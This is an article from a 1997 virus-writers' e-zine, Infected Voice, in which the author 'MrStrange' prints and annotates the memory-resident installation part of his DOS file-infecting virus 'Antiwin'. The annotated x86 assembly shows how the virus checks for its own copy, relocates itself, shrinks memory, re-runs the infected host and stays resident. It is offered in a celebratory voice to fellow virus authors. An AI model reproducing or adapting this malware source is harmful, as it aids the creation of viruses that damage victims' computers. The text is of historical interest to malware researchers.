
      ÜÜ                  Û
     ßßß  Virus Magazine  Û Box 176, Kiev 210, Ukraine      IV  1997
     ßÛÛ ßßßßßßßßßßßßßßßß Û ßßßßßßßßßßßßßßßßßßß ß ßßßßÞßßß  ÛßßßßßßÛ
      ÞÛ ÛßÜ Ûßß Üßß Üßß ÜÛÜ Üßß ÛßÛ    Ý Û ÜßÛ Û Üßß ÛÜÜ   Û ßßßÛ Û
       Û Û Û Ûß  Ûß  Û    Û  Ûß  Û Û    Û Û Û Û Û Û   Û     Û ÜÜÜÛ Û
       Û Þ Þ Þ   ÞÜÜ ÞÜÜ  Þ  ÞÜÜ ÞÜß     ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜÜ  Û ÛÜÜÜ Û
       Þ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ  ÛÜÜÜÜÜÜÛ
          (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd.
                              sgww@hotmail.com
            Digest of IV 8 - 11 russian, including Moscow issues

    ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
    º                ABOUT RESIDENT VIRUSES               º
    º  °°°°°°°°°°°°°°°    by MrStrange    °°°°°°°°°°°°°°° º
    ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼

    You can see a part of my 'Antiwin' virus below. This virus
doesn't want to lie to DOS when installing in memory, so it
lies to his better friend - file, where the virus is hosted.
    Antiwin (it's alive, as any computer virus!) tries to be
like DOS & executes his host himself using fn.4bh int 21h.
    So, press PgDn key and you will see part of 'Antiwin',
where he installs to memory.

    Main idea: exe-file is infected in standart way. When
    ÄÄÄÄÄÄÄÄÄÄ program is executed, virus checks if there's
already a copy in memory. If yes - he gives control to host
in standart way. If no - virus copies itself to beginning of
given by DOS to our host memory and executes host with fn.4b00h
int 21h. Then he gives control to DOS - fn.31h int 21h - terminate
& stay resident.

ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

; A piece of virus Antiwin, (c) by MrStrange
assume cs:_virus
vstart:
;                                                    ÚÄÄÄÄÄÄÄ¿
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´Part  1³
;                                                    ÀÄÄÄÄÄÄÄÙ

; Checking for own copy. Individual routine for every virus.

        call    isThereABrotherInMemory
        or      ax,ax
        jz      not_in_memory   ; Lets look for a safe place in memory


;--------------------------------------------- Already installed, lets
;--------------------------------------------- execute our home prog

        mov     bx,ds
        add     bx,10h
db      @mov_cx
KeepSS  dw      0h
        add     cx,bx
        cli
        mov     ss,cx
        db      @mov_sp
KeepSP  dw      0
        sti

db      @mov_cx
KeepCS  dw      0
        add     cx,bx
        push    cx
db      @push
KeepIP  dw      0
        retf                           ; Hi, program!

;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³No brother in memory. Let's go and f..k this computer! ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;                                                    ÚÄÄÄÄÄÄÄ¿
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´Part  2³
;                                                    ÀÄÄÄÄÄÄÄÙ

not_in_memory:
        mov     ax,ds
        add     ax,10h
        mov     es,ax           ; es = seg PSP + 10h
        xor     di,di           ; di = 0
        mov     cx,(vlen+3)/2   ; vlen - virus size in bytes
        cld
        push    cs
        pop     ds
                          ; ds:[si] -> es:[di]
                          ; ds = cs, si = virstart, es = PSP+10h, di = 0
        rep     movsw     ; Leaving for a new home place

        push    es
        push    offset continue
        retf                    ; The next instruction is executed
                                ; in program copy
continue:

; Registers setting and memory block shrinking
;                                                    ÚÄÄÄÄÄÄÄ¿
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´Part  3³
;                                                    ÀÄÄÄÄÄÄÄÙ
ASSUME ds:_virus
        push    cs
        pop     ds

        mov     ax,cs
        sub     ax,10h
        mov     es,ax           ; es - PSP segment
        mov     bx,offset vend  ; vend - label at the end of virii
        shr     bx,4
        add     bx,11h          ; bx - virus length with PSP
                                ; (in 16 byte paragraphs)
        mov     ah,4ah          ; SetBlock - shrink our memory block
        int     21h

;                                                    ÚÄÄÄÄÄÄÄ¿
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´Part  4³
;                                                    ÀÄÄÄÄÄÄÄÙ
; Next step - Lets look at our name

        mov     seg1,es                 ; EPB variables (see below)
        mov     seg2,es
        mov     seg0,es
        mov     ds,es:[2ch]             ; At PSP offset 2ch environment
        mov     bx,0ffffh               ; segment is stored, it among
                                        ; other stuff includes our
                                        ; programm name.
                                        ; (First environment variables
                                        ;  ended with 0 word. Then one
                                        ;  more word and then - what we are
                                        ;  looking for).

next_word:
        inc     bx
        cmp     [bx],word ptr 0
        jne     next_word               ; Found 0 word

        add     bx,4            ; 0 and the nest word are bypassed
        mov     dx,bx           ; Now ds:dx = filename

; We need to save SS and SP (after DOS 4bh all registers including SS and SP
; are spoiled).

        mov     cs:tempss,ss
        mov     cs:tempsp,sp

        push    cs
        pop     es
        mov     bx,offset EPB
        mov     ax,4b00h
        int     21h             ; Execute the programm

; Function 4bh parameters:
; DS:DX - file name
; ES:BX - EXEC Parameter Table (EPB). EPB format:

;Offset Size Contents
;ßßßßßß ßßßß ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;            ÚÄÄÄÄÄÄÄ¿
; +0      2  ³       ³ Environment segment (0000=set own)
;            ÃÄÄÄÁÄÄÄÁÄÄÄÄÄÄÄ¿
; +2      4  ³offset  segment³ Command line (will be placed in PSP
;            ÃÄÄÄÁÄÄÄÅÄÄÄÁÄÄÄ´ offset 80h)
; +6      4  ³offset  segment³ FCB address (PSP + 5cH)
;            ÃÄÄÄÁÄÄÄÅÄÄÄÁÄÄÄ´
; +0ah    4  ³offset  segment³ FCB address (PSP + 6cH)
;            ÀÄÄÄÁÄÄÄÁÄÄÄÁÄÄÄÙ
;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

;                                                    ÚÄÄÄÄÄÄÄ¿
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´Part  5³
;                                                    ÀÄÄÄÄÄÄÄÙ
; Program (our home) is over. Restoring stack and leaving
; (or living ;]) in memory (due to kindness of 31h).
        cli
        mov     ss,cs:tempss
        mov     sp,cs:tempsp
        sti

        mov     ax,cs
        sub     ax,10h
        mov     ds,ax
        mov     es,ds:[2ch]
        mov     ah,49h
        int     21h     ; Release environment - let it be...

        mov     dx,offset vend
        shr     dx,4
        add     dx,11h
        mov     ah,31h
        int     21h     ; Sitting good, looking far!



;.................................................................
; EPB - see description above
EPB     label   byte
        dw      0h      ;
        dw      80h     ;    Command line address
seg0    dw      ?       ;
        dw      5ch     ;    First FCB address
seg1    dw      ?       ;
        dw      6ch     ;    Second FCB address
seg3    dw      ?       ;

vend    label byte
_virus  ends
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

That's all. See you !